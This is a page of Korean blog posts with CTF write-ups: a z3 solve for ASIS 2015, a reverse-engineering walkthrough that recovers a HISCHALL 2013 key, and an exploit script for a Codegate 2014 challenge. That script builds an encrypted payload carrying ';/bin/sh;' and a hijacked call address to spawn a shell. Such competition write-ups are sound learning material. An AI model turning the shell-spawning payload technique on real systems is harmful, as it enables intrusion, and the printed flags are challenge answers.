'CTF'에 해당되는 글 7건

  1. 2015.11.13 ASIS 2015 fake
  2. 2015.04.05 2014 codegate junior shellme
  3. 2015.03.10 2015 bostonkeyparty havard
  4. 2015.01.28 2015 nullcon 400
  5. 2015.01.19 2015 Nullcon exploitation 300
  6. 2014.02.25 [HISCHALL 2013] BAAASIC GNIREENIGNE
  7. 2014.02.24 Codegate 2014 후기 2

ASIS 2015 fake

CTF 2015. 11. 13. 22:30



이상한 연산결과를 통해서


v5부터 v9까지 연속해서 출력해준다.

그냥 저식대로 z3에 넣어주면됨.

ASIS ctf 키값 형식이 ASIS{~~} 니까 앞의 글자 5개는 스택에 {SISA로 들어가게 될것이다.

따라서

>>> s.add((((0x3CC6C7B7 * v2)) & 0x000000ffffffffff) == int("{SISA".encode('hex'),16))

>>> s.model()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

  File "/usr/lib/python2.7/dist-packages/z3.py", line 5952, in model

    raise Z3Exception("model is not available")

z3types.Z3Exception: model is not available

>>> s.check()

sat

>>> s.model()

[v2 = 25313971399]




'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,

2014 codegate junior shellme

CTF 2015. 4. 5. 13:42

root@ubuntu:~/k# cat a.py

import rsa,subprocess

import b,c

import hashlib

import windowhan

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP, AES

from struct import pack

p = lambda x : pack('<L', x)



aes_key = "2"*16

aes_iv = "\x01"*16

data = "abcdddgs" + "\x00"*8

aes_mode = AES.MODE_CBC

aes_= AES.new(aes_key,aes_mode,IV=aes_iv)

aes_data = aes_.encrypt(data)


message = "\x1f\x8b\x08\x00"

message += aes_key

message += hashlib.sha256(aes_data + "\x00"*(0x700-len(aes_data))).digest()

message += "a" *11

message += ";/bin/sh;"

message += p(0x4017df)


encrypt_data = ""

rsa = c


encrypt_data = rsa.encrypt(message)

message = encrypt_data + aes_data + "\x00"*(0x700-len(aes_data))

print message + "a"*(1900-len(message))



일단 저기서 요구하는대로 조건을 맞춰서 모두 통과시켰다.
그리고 해매던중

이런 부분을 보았고,


이부분을 보았다.


plaintext에 chipertext를 복호화한게 들어가고 free해주는 과정에서 취약점이 발생할거같았다.

시도하던 중 BIO_Free 함수에서 SIGSEGV가 나길래 gdb로 디버깅해보았고,


call %rax라는 구문과 rdi를 내맘대로 조작할 수 있어서 풀었다.

RSA pkcs #1  때문에 시간을 많이잡아먹었다




'CTF' 카테고리의 다른 글

ASIS 2015 fake  (0) 2015.11.13
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,

2015 bostonkeyparty havard

2015. 3. 10. 00:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2015 nullcon 400

2015. 1. 28. 12:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2015 Nullcon exploitation 300

2015. 1. 19. 17:57

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

BAAASIC GNIREENIGNE
출처: HISCHALL 2013
40점
설명: 히히히
basic50!!.exe

=======================

입력받는 부분의 어셈부터 보도록 하겠다.

.text:00BC1564                 call    INPUUUUUUUUUT

이부분이 입력값을 받는 함수를 호출하는 부분이다.

이 뒤에 루틴부터 설명하도록 하겠다.


.text:00BC156C                 mov     eax, 1
.text:00BC1571                 imul    eax, 5
.text:00BC1574                 movsx   ecx, [ebp+eax+buffer[0]]
.text:00BC1579                 cmp     ecx, 69
.text:00BC157C                 jnz     loc_BC16D2

buffer[0]에서 5만큼 떨어진 거리 (buffer[5])하고 69('E')를 비교하고있다.

loc_BC16D2 이 부분은 살펴보니 wrong이라는 문자열을 포함하고 있었다.

틀리면 호출되는 부분일 것이다. 따라서 저부분을 회피하면서 문자열을 작성 해주면 된다.

현재 BUFFER = ?????E???????????


.text:00BC1582                 mov     eax, 1
.text:00BC1587                 shl     eax, 0
.text:00BC158A                 movsx   ecx, byte ptr [ebp+eax-1Ch]
.text:00BC158F                 xor     ecx, 9
.text:00BC1592                 cmp     ecx, 'p'
.text:00BC1595                 jnz     loc_BC16D0


(헥스레이로 훑어본 결과 shl부분은 별 의미가 없는듯 싶다.)

이번에는 buffer[1]에 x^9 = p 라는 식이 보인다.

112 ^ 9 = y 이므로 input[1] = y

현재 BUFFER = ?y???E??????


.text:00BC159B                 mov     eax, 1
.text:00BC15A0                 imul    eax, 15
.text:00BC15A3                 movsx   ecx, byte ptr [ebp+eax-1Ch]
.text:00BC15A8                 sub     ecx, 10
.text:00BC15AB                 cmp     ecx, 87

어셈으로 봤을 때, 15보다 큰 숫자가 없으므로 문자열의 길이는 총 16글자일 것이다.

buffer[15]를 87 + 10(a)와 비교하고 있다

현재 BUFFER = ?y???E?????????a




.text:00BC15B4                 mov     eax, 1
.text:00BC15B9                 imul    eax, 6
.text:00BC15BC                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15C0                 mov     byte ptr [ebp+Str1], cl
.text:00BC15C3                 mov     eax, 1
.text:00BC15C8                 imul    eax, 7
.text:00BC15CB                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15CF                 mov     byte ptr [ebp+Str1+1], cl
.text:00BC15D2                 mov     eax, 1
.text:00BC15D7                 shl     eax, 3
.text:00BC15DA                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15DE                 mov     [ebp+var_36], cl
.text:00BC15E1                 mov     eax, 1
.text:00BC15E6                 imul    eax, 9
.text:00BC15E9                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15ED                 mov     byte ptr [ebp+var_35], cl
.text:00BC15F0                 mov     eax, 1
.text:00BC15F5                 imul    eax, 0Ah
.text:00BC15F8                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC15FC                 mov     byte ptr [ebp+var_35+1], cl
.text:00BC15FF                 mov     eax, 1
.text:00BC1604                 imul    eax, 0Bh
.text:00BC1607                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC160B                 mov     byte ptr [ebp+var_35+2], cl
.text:00BC160E                 mov     eax, 1
.text:00BC1613                 imul    eax, 0Ch
.text:00BC1616                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC161A                 mov     byte ptr [ebp+var_35+3], cl
.text:00BC161D                 mov     eax, 1
.text:00BC1622                 imul    eax, 0Dh
.text:00BC1625                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC1629                 mov     byte ptr [ebp+var_31], cl
.text:00BC162C                 mov     eax, 1
.text:00BC1631                 imul    eax, 0Eh
.text:00BC1634                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC1638                 mov     byte ptr [ebp+var_31+1], cl
.text:00BC163B                 mov     [ebp+var_2F], 0
.text:00BC163F                 xor     eax, eax
.text:00BC1641                 mov     [ebp+var_2E], eax
.text:00BC1644                 mov     [ebp+var_2A], eax
.text:00BC1647                 mov     [ebp+var_26], ax
.text:00BC164B                 push    offset Str2     ; "paktdlTdm"


buffer[6] ~ buffer[15] 를 paktdlTdm이라는 문자열과 비교해주고있습니다.

현재 BUFFER = ?y???EpaktdlTdma


mov     eax, 1
.text:00BC1665                 imul    eax, 0
.text:00BC1668                 movsx   ecx, [ebp+eax+buffer[0]]
.text:00BC166D                 cmp     ecx, 'd'

buffer[0]을 d랑 비교해주고 있습니다.

현재 BUFFER = dy???EpaktdlTdma


mov     eax, 1
.text:00BC1677                 shl     eax, 1
.text:00BC1679                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC167D                 mov     byte ptr [ebp+var_48], cl
.text:00BC1680                 mov     eax, 1
.text:00BC1685                 imul    eax, 3
.text:00BC1688                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC168C                 mov     byte ptr [ebp+var_48+1], cl
.text:00BC168F                 mov     eax, 1
.text:00BC1694                 shl     eax, 2
.text:00BC1697                 mov     cl, [ebp+eax+buffer[0]]
.text:00BC169B                 mov     [ebp+var_46], cl
.text:00BC169E                 xor     eax, eax
.text:00BC16A0                 mov     [ebp+var_45], ax
.text:00BC16A4                 push    offset aAka     ; "aka"
.text:00BC16A9                 lea     eax, [ebp+var_48]
.text:00BC16AC                 push    eax             ; Str1


buffer[1] ~ buffer[3] 까지 aka라는 문자열과 비교해주고있구요.

현재 BUFFER = dyakaEpaktdlTdma



평소에는 난독증이 있어서 어셈을 잘 보지못했었는데 헥스레이랑 같이 보니까 재밌기도하고 답이나오네요 ㅎ

너무 헥스레이를 믿어서는 않될것같습니다.

'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
Codegate 2014 후기  (2) 2014.02.24
Posted by windowhan
,

Codegate 2014 후기

CTF 2014. 2. 24. 02:59

후... 한문제도 못풀었다...ㅋㅋ


반성해야지.... 요즘 매일 폐인처럼 하던 게임도 5일째 끊었고!! 이제 공부할일만남았다!!

아자아자 파이팅 :)


 

'CTF' 카테고리의 다른 글

2014 codegate junior shellme  (0) 2015.04.05
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,